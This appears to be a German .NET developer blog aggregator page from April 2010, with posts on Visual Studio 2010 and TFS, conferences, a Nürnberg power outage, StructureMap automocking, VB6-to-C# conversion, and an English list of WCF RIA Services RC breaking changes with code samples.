Visual Studio 2010 mit Team Foundation Server 2010 ist die dritte Generation der professionellen Werkzeuge für Application Lifecycle Management. Team Foundation Server ist zentrales Repository für alle Artefakte des gesamten Entwicklungsprozesses. Die hohe Integration der einzelnen Werkzeuge in allen Phasen des Application Lifecycle vermeidet Medien- und Kommunikationsbrüche.

Immer offen – für alle Plattformen und Betriebssysteme von .NET bis Unix

Team Foundation Server ist nicht auf Windows und .NET beschränkt, auch andere Plattformen und Betriebssysteme profitieren von der offenen Architektur. Entwickler, die auf Linux, Unix oder Apple MacOSX coden, nutzen die Vorteile der Plattform – von der von ihnen bevorzugten Umgebung. Nahtlose Integration der Eclipse-IDE in Team Foundation Server ist bereits „out of the Box“ in Visual Studio Ultimate mit MSDN enthalten.

Gut integriert – Erweiterbarkeit durch umfassendes Partnernetzwerk

Partnerlösungen erweitern die Funktionalität von Visual Studio und Team Foundation Server – ohne Verlust der Vorteile, welche die hohe Integration der Plattform mit allen Werkzeugen bietet. Dies vereinfacht die Migration von nahezu allen bestehenden Lösungen hin zu Team Foundation Server oder ermöglicht deren Integration in Team Foundation Server. So ist es beispielsweise möglich, Team Foundation Server mit IBM Rational Clear Case zu synchronisieren.

Kommen Sie auf die TeamConf für ALM und Test/Qualitätssicherung vom 4.-6. Mai in München

Dieses Jahr erleben wir die dritte TeamConf – die größte deutsche Konferenz zum Thema Application Lifecycle Management und Test/Qualitätssicherung mit Visual Studio – und der Zeitpunkt könnte nicht besser sein, denn die TeamConf 2010 ist gleichzeitig der Enterprise Launch von Visual Studio 2010.

Neu sind auf dieser TeamConf die beiden Schwerpunkte Business Value von Application Lifecycle Management und Test/Qualitätssicherung. Dem Thema Business Value von ALM sind am ersten Konferenztag am 5. Mai zwei hochkarätige Tracks gewidmet, in denen Anwender und unabhängige Experten alle Facetten von Application Lifecycle Management beleuchten; in einem weiteren Track des ersten Tages gehen Early Adopter und Experten aus der Qualitätssicherung intensiv auf die neuen Möglichkeiten ein, welche die Testwerkzeuge aus Visual Studio 2010 bringen. Eingerahmt wird der erste Tag von drei hochkarätigen Keynotes von Jason Zander (General Manager für Visual Studio bei Microsoft Corp.), Jeff Sutherland (einer der „Väter von SCRUM“) und Thomas Roßner (Technologie-Vorstand imbus AG). Weitere Informationen zur TeamConf finden Sie unter www.teamconf.de

Nette MacBook Docking Station

21.04.2010 11:23:00 | Michael Schwarz

Henge Docks bietet richtig nette Docking Stations für MacBook und MacBook Pro an, und das für einen Preis von $59.95 mit einer 30-Tage Zufriedenheitsgarantie:

 dockingstationimage

Schade nur, dass nicht gleich ein Mini Display Port auf DVI Adapter mit eingebaut ist, den muss man selber dazukaufen.

TechTalk Juni 2010: MSDN TechTalk: App geht's! Einsteigen in die Windows Phone 7-Entwicklung

21.04.2010 09:52:38 | Peter Kirchner

Ein Thema, zwei Experten, fünf Termine: Im Juni geht der MSDN TechTalk wieder auf seine Tour durch fünf deutsche Städte. Die beiden Referenten Frank Prengel und Oliver Scheer widmen sich dabei ganz dem Thema "Entwicklung für Windows Phone 7".

Microsoft definiert seine mobile Smartphone-Plattform neu: Windows Phone 7 legt mit neuen Bedienkonzepten, Diensten und Szenarien den Schwerpunkt auf User Experience und Performance – und auf coole, innovative Anwendungen und Games. Die Basis dafür liefert eine völlig neue Anwendungsplattform aus .NET, Silverlight und XNA - dazu gibt es kostenlose Tools für alle.

Wie diese verwendet werden und was es beim Einstieg in die Entwicklung für die neue Plattform zu wissen und zu beachten gibt, vermittelt dieser TechTalk – auch für Besucher, die bislang noch nichts mit „mobiler“ Entwicklung zu tun hatten.

Denn bei Windows Phone 7 ist aller Anfang leicht!

Daten/Locations:

  • 7. Juni 2010; München
  • 8. Juni 2010; Köln
  • 9. Juni 2010; Hamburg
  • 10. Juni 2010; Berlin
  • 15. Juni 2010; Karlsruhe

http://www.microsoft.com/germany/msdn/techtalk/WindowsPhone7.mspx

Internet oder Strom, was ist wichtiger? Stromausfall in Nürnberg / Stein

21.04.2010 09:38:00 | Michael Schwarz

Gestern Abend sitze ich mit meinem MacBook (ja, ich versuche mich im Moment an der iPhone Entwicklung) im Wohnzimmer, ärgere mich, dass das Netzteil irgendwie schon im Eimer ist. Kurze Zeit später bekomme ich Besuch, die klopfen an die Haustür anstatt zu klingeln, immer noch kein Verdacht. Weitere 10 min später und ich bemerke, dass mein Internet nicht geht, Stromausfall, alles tot. Geschäfte mussten schließen, Ampeln funktionieren nicht mehr…

Am Dienstag, den 20.04.2010 kam es aus noch ungeklärter Ursache gegen 17.25 Uhr zu einer technischen Störung in einer Schaltanlage in der Gebersdorfer Straße. Durch den daraufhin entstandenen Stromausfall gab es rund zweieinhalb Stunden keine Elektrizität in den Stadtteilen Gebersdorf, Eibach, Katzwang, Stein und Teilen Oberasbachs. Die Feuerwehr aus  Nürnberg und Stein rückte in den ersten 90 Minuten des Stromausfalls zu neun Einsätzen aus.

Die U-Bahnen fuhren zwar, doch an den Bahnhöfen war nur Notbeleuchtung eingeschaltet. Stellenweise fielen Rolltreppen und Aufzüge aus. Viele Läden im Röthenbacher Einkaufszentrum waren stockdunkel. Sie wurden vorzeitig dichtgemacht.

Nettes Geburtstagsgeschenk, muss ich schon sagen. So haben wir dann die 2 Stunden im Dunkeln (ok, es war noch nicht wirklich Nacht) verbracht, was natürlich auch so seinen Reiz hatte.

Sehr interessant zu beobachten war, dass kurz vor dem Ende des Stromausfalls der Strom wieder da war, aber vielleicht nur um die 30 Prozent; die Lampen glühten wie bei einem Sonnenuntergang. Ein paar Sekunden später war der Strom dann wieder weg, und es dauerte noch einmal um die 20 min, bis wir dann endgültig wieder Strom hatten.

Da der Stromausfall auch den Nürnberger Fernsehturm lahmlegte, war in der Umgebung auch kein Fernsehprogramm mehr zu empfangen. Zahlreiche Bürger riefen besorgt bei der Feuerwehr oder der Polizei an, um nähere Informationen zu den Vorkommnissen zu bekommen.

Toll, das war für uns jedenfalls eher uninteressant. Erwähnenswert ist vielleicht noch, dass Handytelefonate eigentlich immer funktionierten, das mobile Internet aber nicht. Es scheint so zu sein, dass entweder Internet für die mobilen Datengeräte noch nicht “wichtig” genug ist, oder aber die Internetanbindung nach dem Sendemast kein Strom mehr hatte.

Seit ca. 1/2 Jahr zeichne ich alle möglichen Stromwerte wie Volt, Ampere, Watt aller drei Phasen getrennt auf, in einem Intervall von 10 Sekunden. Ob ich dort vielleicht etwas erkennen kann? Ich werde mich heute Abend mal an die Aufzeichnungen machen.

Ich habe gestern mal wieder gemerkt, wie wichtig es ist, Strom 24h, 7 Tage die Woche zu haben. Für mich war das wohl der erste nicht selbst verursachte und unangekündigte Stromausfall. In Zukunft wird das wohl öfters vorkommen, die Stromnetze sind wohl relativ alt, und es wurde nur wenig investiert in den letzten Jahren.

Visual Studio 2010: Deutsche Fassung ab sofort für MSDN Subscriber verfügbar

21.04.2010 09:29:05 | Peter Kirchner

Die deutsche Fassung von Visual Studio 2010 wird am 21. April im Lauf des Tages für alle Besitzer einer gültigen MSDN Subscription zum Download bereit stehen. Entwickler ohne eine aktive MSDN Subscription müssen sich entweder noch bis zum 1. Mai gedulden oder sollten besser noch bis 30. April das so genannte „Ultimative Angebot“ nutzen und sich ein sehr attraktives „Rundum-Sorglos-Paket“ zu einem äußerst ansprechenden Preis sichern: Alle Kunden, die jetzt bis 30. April mindestens Visual Studio 2008 Professional mit MSDN Premium lizenziert haben, erhalten dann nicht nur sofort das neue Visual Studio 2010 inklusive Team Foundation Server 2010 ohne zusätzliche Lizenzkosten, sondern werden in vielen Fällen auch automatisch in eine nächsthöhere Subscriptions-Stufe überführt, wo sie ein deutlich umfangreicheres Leistungspaket erhalten.

Details zu diesem „Ultimativen Angebot“ finden Sie hier: http://www.microsoft.com/germany/visualstudio/buy/ultimate-offer.aspx

Von unbekannt bis unterschätzt – Der Document Reflector

20.04.2010 22:29:00 | Jan Christian Selke

Was viele vielleicht nicht wissen oder aber einfach wieder vergessen haben: Der Open Xml Document Reflector ist integraler Bestandteil des Open Xml SDK 2.0. Als Bestandteil des Installationspakets ist er unter dem Pfad $(program files)\Open XML SDK\V2.0\tool\OpenXmlSdkTool.exe in dem Productivity Tool zu finden.

Kurz gesagt, es besteht die Möglichkeit aus den Strukturen eines bestehenden Dokuments sich autogenerierten Code ausgeben zu lassen. Dieser Quellcode gewinnt sicherlich keinen Schönheitswettbewerb… Er offenbart aber, welche Klassen benötigt werden, um das jeweils ausgewählte Element zu erstellen.

Im Falle von einfachem Fließtext ist es relativ einfach und übersichtlich. Diese Struktur ist mit Sicherheit jedem vertraut, der sich schon einmal mit dem SDK bzw. auch einfach mit der Open Xml Struktur beschäftigt hat.

Reflector_einfach

Kommen aber beispielsweise Bilder, Fußnoten oder Feldfunktionen hinzu, läuft der Hase schon anders. Die Dokumentstruktur wird komplexer und dementsprechend nimmt die Anzahl der benötigten Klassen rasant zu. Und selbst denen, die sich regelmäßig damit beschäftigen, fällt es garantiert nicht einfach aus der Tasche, welche Klassen zum Hinzufügen eines Diagramms in ein Dokument benötigt werden… ;-)

reflector_diagramm

Alles in allem ist es ein hervorragendes Tool um jedem die Verwendung des Open Xml SDK näher zu bringen. Darüber hinaus ist es eine gute Quelle, um auch erfahreneren Entwicklern offen zu legen, unter Zuhilfenahme welcher Klassen verschiedenste Strukturen erstellt werden können.

Es ist mit Sicherheit mehr als nur einen Blick wert.

Office Checker 2010 - Ein Wettbewerb für Schüler und Studenten

20.04.2010 19:48:08 | Jan Welker

Zusammen mit den Partnern MSN, Welt der Wunder und uni.de sucht Microsoft den besten Microsoft-Office-Profi.

Um am Wettbewerb teilzunehmen, muss eine Word-, PowerPoint-, Excel- oder OneNote-Datei mit Office 2010 Beta erstellt und zusammen mit persönlichen Angaben hochgeladen werden. Innerhalb der hochgeladenen Datei muss eine Aufgabe erledigt werden, in der neue Features von Office 2010 ausprobiert werden können.
Auf der Wettbewerbs-Webseite werden mehrere Aufgaben angeboten, aus der sich eine aussucht werden kann.

Teilnehmen können Studierende aller Fachbereiche der Universitäten, Fachhochschulen, Berufsakademien, privater Hochschulen etc. in Deutschland, sowie alle Schülerinnen und Schüler deutscher Schulen oder Jugendliche, die sich in einer beruflichen Ausbildung befinden. Das Mindestalter ist 18 Jahre.

Unter allen Teilnehmern werden einhundert Office Academic 2010 und weitere fünfzig Windows 7 Home Premium verlost.

Die vier Gewinner erhalten je einen HP TouchSmart300 PC im Wert von 799 Euro. Die Finalisten des Wettbewerbs werden für zwei Tage nach München eingeladen und dürfen ihre besonderen Office-Fähigkeiten bei einer Live-Show in den Welt der Wunder-Studios unter Beweis stellen.

Alle weiteren Informationen gibt es hier: http://weltderwunder.de.msn.com/office2010

Temporärer Beitrag, der zur Designerkennung verwendet wurde (11706612-c6f3-4da9-8022-e8d0ea21acdb - 3bfe001a-32de-4114-a6b4-4005b770f6d7)

20.04.2010 19:31:00 | Jan Christian Selke

Dies ist ein temporärer Beitrag, der nicht gelöscht wurde. Löschen Sie diesen Beitrag manuell. (353e0167-360a-4ba3-9e50-99bb24dc3107 - 3bfe001a-32de-4114-a6b4-4005b770f6d7)

.NET Community-Konferenz Franken (Nürnberg) am 26. Juni 2010

20.04.2010 09:12:00 | Michael Schwarz

Am 26. Juni 2010 findet in Nürnberg die erste .NET Community-Konferenz Frankens, der .NET Day Franken statt. Bei diesem Event dreht sich einen Tag lang alles um moderne, professionelle Softwareentwicklung mit dem .NET Framework. Neben den angebotenen Vorträgen steht vor allem die Diskussion und das Networking mit anderen .NET Begeisterten im Mittelpunkt.

image Passend zur Veröffentlichung des neuen Visual Studio 2010 am 12. April widmet sich der erste .NET Day Franken den Themen Visual Studio 2010, .NET Framework 4 und C# 4.0. Zusätzlich dazu werden technologieübergreifende Themen wie TDD (Test-Driven-Development), verteilte und agile Softwareentwicklung die Konferenz begleiten.

Die Agenda der Veranstaltung wird gerade  auf unserer Webseite www.dotnet-day-franken.de zusammengestellt und es werden auch noch Sprecher gesucht. Neben bekannten Namen möchte der .NET Day Franken auch bisher unbekannten Sprechern eine Plattform bieten.

Sicher Dir bis zum 20. Mai 2010 Deinen Eintritt auf die Konferenz mit dem attraktiven Frühbucherpreis. Du kannst  aber auch mit Gruppenanmeldungen bares Geld sparen. Mehr dazu findest Du unter Anmeldung auf unserer Homepage.

Veranstaltungsort ist das Hotel: NH Nürnberg City, Bahnhofstrasse 17-19, 90402 Nürnberg

Wir sehen uns!!

Microsoft Web Camp – Kostenlose Veranstaltung zum Thema Web Entwicklung

20.04.2010 09:07:00 | Michael Schwarz

webcamp Am 7. und 8. Juni wird die Web Camp-Reihe neben Metropolen wie Moskau, Sydney, Peking, London und New York auch in Deutschland halt machen.

Die kostenlose Veranstaltung richtet sich an alle Web-Entwickler. Mit dabei sind Scott Guthrie, James Senior, Scott Hanselman und Jon Galloway.

Mehr zur Agenda und die Anmeldung gibt’s unter http://www.webcamps.ms/.

Windows Phone 7 TechTalk im Juni

20.04.2010 09:02:00 | Michael Schwarz

Im Juni gibt’s in einigen Städten wieder ein TechTalk zu einem interessanten Thema, Windows Phone 7 (und ja, das Series im Namen wurde gestrichen).

Hier sind die Termine:

Mehr Infos wie immer bei Frank (Dr. Mobile).

Stubs mit dem StructureMap AutoMocker verwenden

20.04.2010 00:35:00 | Jan Christian Selke

Eine der größeren Entdeckungen der letzten Zeit, war für mich das AutoMocking. Genau genommen das AutoMocking mit StructureMap. Es gibt einen sehr guten Einführungspost von Joshua Flanagan.

Es gibt Automocking für RhinoMocks und Moq. Zur Zeit nutze ich noch die RhinoMocks Variante. Moq sah auf den ersten Blick auch ziemlich interessant aus, so dass ich vermutlich demnächst einmal damit etwas ausprobieren werde. Wie funktioniert nun der Automocker. Kurz gesagt: Er erzeugt eine konkrete Klasse der ClassUnderTest, für alle Abhängigkeiten wird ein Mockobjekt erzeugt.

var autoMocker = new RhinoAutoMocker<ClassUnderTest>(MockMode.AAA);

Was aber, wenn ein Stub anstelle des automatisch erzeugten Mocks benötigt wird – mit genau dieser Fragestellung sahen wir uns vor kurzem in einem Projekt konfrontiert. Auf dem Weg durch den StructureMap trunk, fand ich dann eine Lösung in Form der Methode Inject(). Die Methode selbst ist wie folgt kommentiert:

/// <summary>
/// Injects the given object into a Container as the default for the designated
/// PLUGINTYPE. Mostly used for temporarily setting up return values of the Container
/// to introduce mocks or stubs during automated testing scenarios
/// </summary>
/// <typeparam name="PLUGINTYPE"></typeparam>
/// <param name="instance"></param>
void Inject<PLUGINTYPE>(PLUGINTYPE instance);

Das sagt auch schon alles ;-). Ziemlich vereinfacht würde innerhalb eines Tests dann wie folgt vorgegangen:

var mocker = new RhinoAutoMocker<ConcreteClass>(MockMode.AAA);
var stub = MockRepository.GenerateStub<StubClass>();
mocker.Inject(stub);

Was aber genau verbirgt sich hinter dieser Inject-Methode, die ich noch vor einiger Zeit recht unbedarft eingesetzt habe? Im Grunde genommen, ist es nichts weiter als eine Singleton Registrierung der übergebenen Instanz. Das ist an der Implementierung innerhalb des Containers zu erkennen.

public void Inject<PLUGINTYPE>(PLUGINTYPE instance)
{
Configure(x => x.For<PLUGINTYPE>().Use(instance));
}

Und Use wiederum ist ebenfalls recht kurz gehalten.

public ObjectInstance Use(PLUGINTYPE @object)
{
return TheDefault.IsThis(@object);
}

Für den angegebenen Typ wird die übergebene Instanz als default registriert und bei jeder Anfrage des Typs auch wieder zurück gegeben. Letztlich stelle ich mir aber zur Zeit die Frage, ob Stubs in bdd-styled Tests nicht schlicht und ergreifend überflüssig sind?! Das “b” steht schließlich für Verhalten. Wozu also mit einem Stub überprüfen, ob die Werte, die ich ohnehin selbst hereingebe, auch wieder heraus kommen? Warum nicht entsprechend des “b” nur das Verhalten mit .AssertWasCalled() testen? Die Tests sind auch so fein granular, dass keine Interaktionen über mehrere Objektinstanzen innerhalb eines Tests stattfinden (sollten). Stubs würde somit nur die Rolle einfacher Hüllen zukommen, aber die Hüllen wurden mit dem AutoMocker ja bereits in Form von Mocks geschaffen… Ich werde wohl noch etwas darüber nachdenken. Falls mir jemand auf die Sprünge helfen möchte, ist er herzlich dazu eingeladen, mich in dieser Hinsicht zu erleuchten :-).

Kurzes Fazit

Wer nachträglich Stubs registrieren möchte, tut dies am besten mit Hilfe der Inject-Methode. Die Stubs werden direkt über das MockRepository erstellt.
Wer, so wie ich vor einiger Zeit, etwas unbedarft Inject einsetzt, sollte noch einmal hinterfragen, ob er wirklich die entsprechende Instanz als Singleton benötigt ;-).

TFS 2010 Kompatibilitäts Downloads für VS2008 und VS2005

19.04.2010 19:46:00 | Christian Binder

MyVideo TOP100 Webslice –Silverlight RIA im IE8-Webslice

19.04.2010 11:35:03 | Oliver Scheer

Seit heute sind die aktuellen TOP100 Charts von MyVideo direkt im Internet Explorer 8 verfügbar. Nachdem das Webslice abonniert wurde, wird es als Link auf der Favoritenleiste angezeigt. So hat man immer die besten Videos auf MyVideo immer im Blick.

Download: http://ieaddons.com/de/Details.aspx?Id=8126

clip_image002

Facts of the week 18.04.2010

18.04.2010 19:51:00 | Patric Schouler

Diese Woche gibt es einiges zu berichten über die am Dienstag erschienen Version von Visual Studio 2010, dem neuen Resharper 5.0 und natürlich meinem Lieblingsthema dem am Freitag veröffentlichten Version 4 von Silverlight mit den dazugehörigen Tools für Visual Studio 2010 sowie den WCF RIA Services.

Visual Studio 2010

Erster Eindruck: Huch alles Lila, ist ja auch dieses Jahr eine Modefarbe. Sogar die Microsoft-Mitarbeiter tragen auf den Raodshows Lila.

Von der Oberfläche auf dem ersten Blick natürlich wieder einmal gewöhnungsbedürftig, wie bei allen neuen Sachen. Besonders schön finde ich die echte Unterstützung von mehreren Monitoren. Die Multi-Edit-Funktion ist auch nicht schlecht, gerade wenn man wieder mal mehrere Namespaces umbenennen muss.

=> Nächste Woche mehr……

Resharper 5.0

Ein Tool was ich bisher immer unterschätzt habe, aber diese Woche hat mich die Version 5.0 überzeugt. Resharper 5.0 bietet jetzt nicht nur die üblichen Codierungserleichterungen, wie “}” automatisch setzen, sondern hat zwei Features, die für sich genommen schon den Einsatz von Resharper 5.0 rechtfertigen.

Pattern Catalog unter Tools: Pattern für Suchen und Ersetzen

Jeder Entwickler hat so eine Marotten, die er immer wieder falsch macht. Bei mir ist dies z.B. die Abfrage eines Leerstrings. Neige immer dazu if (myString==””) zu kodieren, anstatt die saubere Variante string.IsNullOrEmpty($value$) zu verwenden. Für diese Unsauberkeiten kann man jetzt unter Tools im Resharper 5.0 Pattern anlegen, die einem dann der Resharper wie die anderen Regeln automatisch meldet. Klasse Sache!

Lokalisierung einfach gemacht

Eine der größten Verbrechen ist es, wenn man eine mehrsprachige Anwendung entwickeln will und die Standard-Resource-Files nutzen muß. Hier ist man nämlich normalerweise im Entwicklungsprozess gezwungen zwischen Designer bzw. Code-Editor und Resourcen-Dateinen hin un her zu springen. Das kostet unheimlich Zeit. Doch mit Resharper 5.0 ist damit nun endlich Schluß. Hier kann man einfach über einer Zeichenkette (grüner Schlingel  drunter) die rechte Maustaste drücken und dann im Kontextmenü die entsprechende Funktion aufrufen. Ressource-File aussuchen, fertig. Resharper 5.0 trägt dann die Zeichenkette mit einem generierten Key ins Ressource-File ein und setzt die Verweise darauf im Coding richtig. Das funktioniert sogar bei DataAnnotations (z.B. Fehlermeldungen bei Validierungen).

WCF RIA Services

Bei den WCF RIA Services für .NET 4.0 und Visual Studio 2010 hat sich einiges getan. Wie mittlerweile üblich bei Microsoft Produkten, wurden zum Releasetermin alle Namespaces und Assemblies überarbeitet, so dass sich vielfältige Änderungen ergeben. Darüber hinaus sind auch einige Methoden bzw. Properties weggefallen oder wurden an andere Objekte “gehängt”.

Eine Übersicht über alle Änderungen gibt es in meinem Blog  Changes of WCF RIA Services for Visual Studio 2010 | .NET - Red zone : Best practices and latest stuff. Die Informationen stammen aus einem entsprechenden Word-Dokument von Microsoft.

Migration von VB6 / VBA nach C# => LSet

18.04.2010 19:26:00 | Alexander Zeitler

Zu VB6 / VBA-Zeiten (sind die eigentlich schon vorbei? ;-)) gab es die LSet-Anweisung, die wie folgt beschrieben war:

“Richtet eine Zeichenfolge innerhalb einer Zeichenfolgenvariablen links aus oder kopiert eine Variable eines benutzerdefinierten Datentyps in eine Variable eines anderen benutzerdefinierten Datentyps.”

Damit konnte man z.B. zwei int-Werte, die in einem double gespeichert waren, auslesen:

Type DoubleRec
     dValue As Double
End Type

Type Long2Rec
     iLower As Long
     iUpper As Long
End Type   

Function ExtractFields _
( 
_     ByVal dValue As Double, 
_     iLower As Long, 
_     iUpper As Long _
)
     Dim dr                          As DoubleRec
     Dim i2r                         As Long2Rec
     ' Set the double value
     dr.dValue = dValue
     ' Copy the values
     LSet i2r = dr
     ' Extract the values
     iLower = i2r.iLower
     iUpper = i2r.iUpper
End Function

Somit wurden z.B. aus dem double-Wert 6.36810936868678E-311 die beiden int-Werte 0 und 3001.

Wie macht man das mit C# im Jahre 2010?

Ganz einfach:

double input = 6.36810936868678E-311;
int wert1 = BitConverter.ToInt32(BitConverter.GetBytes(input),0) // 0
int wert2 = BitConverter.ToInt32(BitConverter.GetBytes(input),4) // 3001

Changes of WCF RIA Services for Visual Studio 2010

18.04.2010 19:20:00 | Patric Schouler

With the new version of the WCF RIA Services for Visual Studio 2010, that comes last Friday, there are several changes.

Assemblies and Namespaces

Assembly Rename & Refactoring

Previous Assembly Name

New Assembly Name

System.Windows.Ria

System.ServiceModel.DomainServices.Client + System.ServiceModel.DomainServices.Client.Web

System.Windows.Controls.Ria

System.Windows.Controls.DomainServices

System.Web.Ria

System.ServiceModel.DomainServices.Server + System.ServiceModel.DomainServices.Hosting

System.Web.DomainServices

System.ServiceModel.DomainServices.Server

System.Web.DomainServices.EntityFramework

System.ServicesModel.DomainServices.EntityFramework

System.Web.DomainServices.LinqToSql

Microsoft.ServiceModel.DomainServices.LinqToSql

System.Web.DomainServices.Proxies

Microsoft.ServiceModel.DomainServices.Hosting.Local

System.Windows.Controls.Ria.Design

System.Windows.Controls.DomainServices.Design

System.Windows.Controls.Ria.Expression.Design

System.Windows.Controls.DomainServices.Expression.Design

System.Windows.Controls.Ria.VisualStudio.Design

System.Windows.Controls.DomainServices.VisualStudio.Design

Namespace Rename & Refactoring

Previous Namespace Name

New Namespace Name

System.Web.DomainServices

System.ServiceModel.DomainServices.Server

System.Web.DomainServices.Providers

System.ServiceModel.DomainServices.EntityFramework (for LinqToEntities classes)

Microsoft.ServiceModel.DomainServices.LinqToSql (for LinqToSql classes)

System.Web.Ria

System.ServiceModel.DomainServices.Hosting

System.Web.Ria.ApplicationServices

System.ServiceModel.DomainServices.Server.ApplicationServices

System.Web.Ria.Data

Namespace removed.

DomainIdentifierAttribute and ExternalReferenceAttribute moved to System.ServiceModel.DomainServices.

CompositionAttribute moved to System.ComponentModel.DataAnnotations.

OperationError renamed to ValidationResultInfo and now available in both System.ServiceModel.DomainServices.Client and System.ServiceModel.DomainServices.Server.

System.Web.Ria.Services

System.ServiceModel.DomainServices.Hosting

System.Windows.Controls.Ria

System.Windows.Controls

System.Windows.Data

System.Windows.Controls

System.Windows.Ria

System.ServiceModel.DomainServices.Client

System.Windows.Ria.ApplicationServices

System.ServiceModel.DomainServices.Client.ApplicationServices

System.Windows.Ria.Services

System.ServiceModel.DomainServices.Client

Changed how the Silverlight application is notified of validation errors

In the previous release, validation rules on data were enforced on the client by raising an exception when the validation rule was not met. In the RC release, validation rules are enforced by raising events through the INotifyDataErrorInfo interface, which is new in Silverlight 4. With this approach, The INotifyDataErrorInfo.ErrorsChanged event is raised when an invalid value is assigned to a property. Any where in your code that checks for a ValidationException will now likely need to change as an event is raised instead of the exception.

An overloaded version of the ValidateProperty method was added that accepts a ValidationContext parameter. The generated code was changed so this ValidateProperty method is called between the Changing and Changed events. If you want to retain exception-based validation, you can override the ValidateProperty method and raise an exception for invalid values, as shown below.

 

   1: public partial class City
   2: {
   3:     protected override void ValidateProperty(ValidationContext validationContext,
   4:     object value)
   5:     {
   6:         ValidationContext context = new ValidationContext(this, null, null) { MemberName = propertyName };
   7:         // Validate in a way that will throw an exception if invalid
   8:         System.ComponentModel.DataAnnotations.Validator.ValidateProperty(value,context);
   9:  
  10:     }
  11:  
  12: }

When you create a custom validation class or attribute, you must now pass to the Silverlight application the name or names of the members that failed validation. You pass the names back with the ValidationResult, as shown below.

 

   1: public static class GenderValidator
   2: {
   3:     public static ValidationResult IsGenderValid(string gender, ValidationContext context)
   4:     {
   5:         if (gender == "M" || gender == "m" || gender == "F" || gender == "f")
   6:         {
   7:  
   8:             return ValidationResult.Success;
   9:  
  10:         }
  11:         else
  12:         {
  13:  
  14:             return new ValidationResult("The Gender field only has two valid values 'M'/'F'", new string[] { "Gender" });
  15:         }
  16:  
  17:     }
  18:  
  19: }

Removal of Resolve methods from DomainService

In the previous release, you could provide a method for customizing how concurrency conflicts are resolved. For the RC release, this feature and all related members have been removed. Providing a common method signature for resolving conflicts in different types of DALs could not be supported in this release.

Changed server communication from SOAP with binary encoding to REST with binary encoding

In the previous release, communication between the client and server was implemented using SOAP with binary encoding. This implementation did not allow clients to cache the response because all requests were performed using POST. In the RC release, the communication has been changed to REST with binary encoding. You can now specify whether the request is performed using GET or POST. By default, queries will use GET, and invoke operations will use POST. You specify whether GET or POST is used by setting the HasSideEffects property.

To inform clients of a DomainService that they can cache a response, you must apply the OutputCache attribute to the operation.

You must rebuild existing client and server projects to accommodate this change, and add a reference to the System.ServiceModel.Web.Extensions.dll assembly in the client project. If you implemented a customized client, you will need to either change to the new protocol or implement and EndpointFactory similar to the one used in the previous release.

Changed default Endpoint for all domain services

In the RC release, by default, only the Binary endpoint is enabled for domain services. To use the Binary endpoint no additional configuration is needed. If you want to use another endpoint (such as JSON, SOAP, or a custom host) you must register an endpoint factory in the Web.config file as shown below:

 

   1: <system.serviceModel>
   2:   <domainservices>
   3:     <endpoints>
   4:       <add name="json" type="Microsoft.ServiceModel.DomainService.Hosting.JsonEndpointFactory, Microsoft.ServiceModel.DomainService.Hosting" />
   5:     </endpoints>
   6:   </domainservices>
   7:   <system.serviceModel>

Removal of ChangeSet parameter from DomainService methods

In the previous release, the AuthorizeChangeSet, ExecuteChangeSet, PersistChangeSet, and ValidateChangeSet methods on the DomainService class all contained a parameter for a ChangeSet object. The ChangeSet parameter has been removed from the methods. The parameter is not needed because the ChangeSet object is now retrieved through the ChangeSet property.

Removal of QueryCompletedResult.ResultCount Property

The ResultCount property on the QueryCompletedResult class was removed. You can retrieve the same value through the Entity.Count property.

DomainDataSource no longer blocks loads when another load is pending

In the previous release, the CanLoad property of the DomainDataSource was false when IsLoadingData is true. This implementation prevented executing a new load operation when another load was in progress. This behavior has been changed for the next release. Now, if a new load is invoked when another load is pending, the previous load is canceled and the new load supersedes it. To retain the old behavior of blocking a new load operation, check the IsLoadingData property before calling the Load method.

IgnoreOperation renamed to Ignore

IgnoreOperationAttribute has been renamed to IgnoreAttribute:

[IgnoreOpration] -> [Ignore]

DomainServiceDescriptionProvider and MetadataProvider combined into a single class

The DomainServiceDescriptionProvider class and the MetadataProvider class have been combined into the DomainServiceDescriptionProvider class. Anyone who has created a class that derives from DomainServiceDescriptionProvider or MetadataProvider will have to adapt the derived class for this change. As a result of this change, the following classes were also removed:

  • MetadataProviderAttribute
  • LinqToEntitiesTypeDescriptionProvider
  • LinqToSqlTypeDescriptionProvider

If you applied the LinqToEntitiesMetadataProvider or LinqToSqlMetadataProvider attribute, you must now use either the LinqToEntitiesDomainServiceDescriptionProvider or LinqToSqlDomainServiceDescriptionProvider attribute.

Load method on DomainContext now has strongly-typed callback parameter

Previously, one of the overloaded Load methods on the DomainContext accepted a parameter of type Delegate for the callback method. Now, that parameter is strongly-typed and accepts a parameter of the type Action<LoadOperation> or Action<LoadOperation<EntityType>>.

Invoke signatures changed on DomainClient and DomainService

In the previous release, the Invoke method contained distinct parameters for invoke operation arguments. Now, the Invoke methods accept a parameter object that contains those arguments. You create a new instance of the InvokeArgs class and pass it as a parameter when calling BeginInvoke or BeginInvokeCore on DomainClient. You create a new instance of the InvokeDescription class and pass it as a parameter when calling Invoke on the DomainService.

Removed EnableClientAccessAttribute.ServiceName property

The EnableClientAccessAttribute.ServiceName property has been removed. Instead, use the ServiceContractAttribute.Name property.

SubmitChanges on DomainDataSource no longer automatically reloads data

In the RC release, the DomainDataSource no longer automatically reloads the data when the SubmitChanges method successfully completes. You can reload the data after submitting changes by calling the Load method from an event handler for the SubmittedChanges event.

‘new’ keyword no longer permitted on entity properties

In the previous release, the new keyword was permitted on entity properties to allow polymorhphic property access in the server code. In the RC release, the new keyword is no longer permitted. An InvalidOperationException is raised if new is applied to an entity property.

Count<T>( ) method no longer automatically called by DomainService.Query( )

In the previous release, the Count<T> method was automatically called by the DomainService.Query method so the TotalEntitiesCount property on DomainClientResult could be set. In the RC release, the Count<T> method is no longer automatically called, and therefore the TotalEntitiesCount property is not set. This change was made to improve performance. To explicitly request that the Count method is called, you can set the IncludeTotalCount property on the EntityQuery to true.

Removal of DomainOperationEntry.IsAuthorized and addition of DomainService.IsAuthorized

The IsAuthorized method was moved from DomainOperationEntry to DomainService. The method signature was changed to:

public AuthorizationResult IsAuthorized(DomainOperationEntry domainOperationEntry, object entity)

The entity parameter can be null so a custom class that derives from AuthorizationAttribute must tolerate a null value for AuthorizationContext.Instance.

Generated code changed for domain services that derive from LinqToEntitiesDomainService

The code that is generated when you use the DomainService Wizard to create a domain service that exposes Entity Framework classes has changed. In the previous release, the generated code assumed a single entity set. In the RC release, you can set the correct entity set for an entity in your code. The AttachAsModified extension method was also changed so it no longer assumes an instance of EntityObject. There were no changes to the generated code for the default query method. The following table shows the previous code generation and the new code generation. If you created your domain service manually, you must make this changes in your code.

Changes to DomainDataSource

